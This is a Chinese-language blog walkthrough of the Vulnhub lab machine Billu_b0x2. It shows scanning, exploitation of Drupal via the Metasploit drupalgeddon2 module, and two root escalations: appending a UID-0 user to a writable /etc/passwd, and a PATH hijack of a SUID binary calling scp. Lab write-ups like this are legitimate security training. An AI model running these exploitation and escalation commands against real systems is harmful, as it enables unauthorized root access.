个人博客阅读体验更佳

本次来试玩一下vulnhub上的Billu_b0x2,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

win7: 192.168.31.44
kali: 192.168.31.17
靶机: 192.168.31.132


信息搜集

主机发现得到靶机ip,接着进行端口扫描

nmap -sV -A -p- 192.168.31.132

开放了22, 80, 111, 8080, 55532端口
80端口还扫出了部分目录。

网页登上去看一眼

出了一个搜索框和login其他没有什么要素了。
接着御剑扫一下,扫出了80端口下的robots.txt,根据其中的提示进行文件遍历,web.config并没有有用的信息,最终在README.txt中找到/core/install.php,告诉我们具体的CMS版本号是Drupal 8.3.5
8080端口有一个/manager的401登录


渗透过程

由于看到了login, 点进去瞄一眼,有登录、注册、重置三个窗口,重置需要发送邮件显然没有着手点,登录尝试sql注入无果,弱密码爆破无果。注册发现有图片上传,先测试一下注册一个普通用户,但这个靶场环境没有邮件服务器无法注册成功,而且上传的图片也没有路径提示(后来webshell连上去才发现路径在/var/www/html/sites/default/files/pictures/[data]/下)。
这三个地方都无法入手,后来才想到Drupal7.x和8.x都有致命bug(CVE-2018-7600CVE-2018-7602)
或者直接在msf中搜索漏洞

$ msfconsole
$ search drupal
$ use exploit/unix/webapp/drupal_drupalgeddon2 # use 1
$ set rhosts 192.168.31.132
$ exploit


提权

- 方法一

看到ubuntu 14.04想到直接脏牛提权,但不知道为什么各种内核漏洞提权都失效了。
发现/etc/passwd拥有777权限,尝试添加一个最高权限的admin用户,直接切过去即可

需要用到openssl生成一个hash加密的密码

$ openssl passwd -1 -salt admin 123456

在/etc/passwd最后追加一行用户信息

$ admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:::/bin/bash

直接su admin输入密码123456即可提权成功

方法二

查看哪些文件有SUID权限

$ find / -perm -4000 -type f 2>/dev/null

发现/opt/s很可疑,strings看一下二进制命令,发现是scp命令使用了root权限

$ strings /opt/s

因此可以自己伪造一个假的scp命令,然后添加到环境变量让他执行。

$ cd /tmp
$ echo "/bin/bash" > scp
$ chmod +x scp
$ echo $PATH
$ export PATH=/tmp:$PATH
$ cd /opt
$ ./s


补充:

环境变量提权见此

整体提权原理: 通过发现/opt/s拥有SUID权限,则其运行时进程并不属于发起者,而是文件所有者,这里是root。strings查看二进制发现s以root运行了scp这个命令,但是没有指定具体的文件路径,因此可以伪造一个假的scp并添加到环境变量,让s去以root运行/tmp中的假的scp,而假的scp中又写入了我们写的/bin/bash,相当于直接运行了sudo /bin/bash

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub的更多相关文章

  1. metasploit下Windows的多种提权方法

    metasploit下Windows的多种提权方法 前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以 ...

  2. 内网渗透 day8-linux提权和后门植入

    linux提权和后门植入 目录 1. 脏牛漏洞复现 3 (1) 去网上把代码复制然后touch一个.c文件,vi或者vim打开将代码复制进去保存 3 (2) 进入shell然后从kali开的apach ...

  3. 内网渗透 - 提权 - Windows

    MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...

  4. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  5. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  6. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  7. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  8. 3.内网渗透之reGeorg+Proxifier

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. Python - 面向对象编程 - 小实战(2)

    需求 小明和小美都爱跑步 小明体重 75 公斤 小美体重 45 公斤 每次跑步会减肥 0.5 公斤 每次吃东西体重增加 1 公斤 需求分析 小明.小美都是一个具体的对象,他们都是人,所以应该抽象成人类 ...

  2. GIT:修改上一次提交的注释信息(git commit --amend)

    git commit -m 注释信息 如果这时候注释信息输入错误,就可以输入以下指令更改 git commit --amend 键入" i "进入编辑模式 修改后键入ESC,:wq ...

  3. struts2执行流程和架构图

    一.struts2执行流程 二.架构图 只需要编写黄色部分的代码:

  4. HCNP Routing&Switching之IS-IS邻居建立、LSDB同步、拓扑计算和路由形成

    前文我们了解了IS-IS的报文结构和类型相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/15260670.html:今天我们来聊一聊IS-IS建立邻居. ...

  5. 编写一个应用程序,利用数组或者集合, 求出"HELLO",“JAVA”,“PROGRAM”,“EXCEPTION”四个字符串的平均长度以及字符出现重复次数最多的字符串。

    public class Number { public static void main(String[] args) { String[] arr = { "HELLO", & ...

  6. 痞子衡嵌入式:嵌入式Cortex-M中断向量表对齐原则的深入研究

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是Cortex-M中断向量表对齐原则. 今天这篇文章的内容主要来自于五年前做 Kinetis K32W 系列双核启动时的发现,最近正好有同 ...

  7. 学习PHP中的高精度计时器HRTime扩展

    不知道大家还记得在学校的时候体育测试时老师带的秒表吗?当枪声想起时,我们开始跑步,这时秒表启动,当我们跑过终点后,老师会按下按扭记录我们的成绩,这就是一个典型的定时器的应用.今天我们要学习的内容其实就 ...

  8. Shell系列(37)- while和until循环

    while循环 只要条件判断式成立则进行循环,并执行循环程序:一旦循环条件不成立,则终止循环 格式 while [ 条件判断式 ] do 程序 done 例子 需求:计算工具,1+2+--100的和 ...

  9. 使用 FIO 对 Kubernetes 持久卷进行 Benchmark:读/写(IOPS)、带宽(MB/s)和延迟

    工具 Dbench https://github.com/leeliu/dbench 用法 编辑 dbench.yaml 文件中的 storageClassName 以匹配你自己的 Storage C ...

  10. jmeter调度器的使用

    前言 使用jmeter 做压测的时候,希望对一个接口持续压测 10 分钟或者半小时,可以使用调度器设置持续压测时间. https://www.cnblogs.com/yoyoketang/p/1415 ...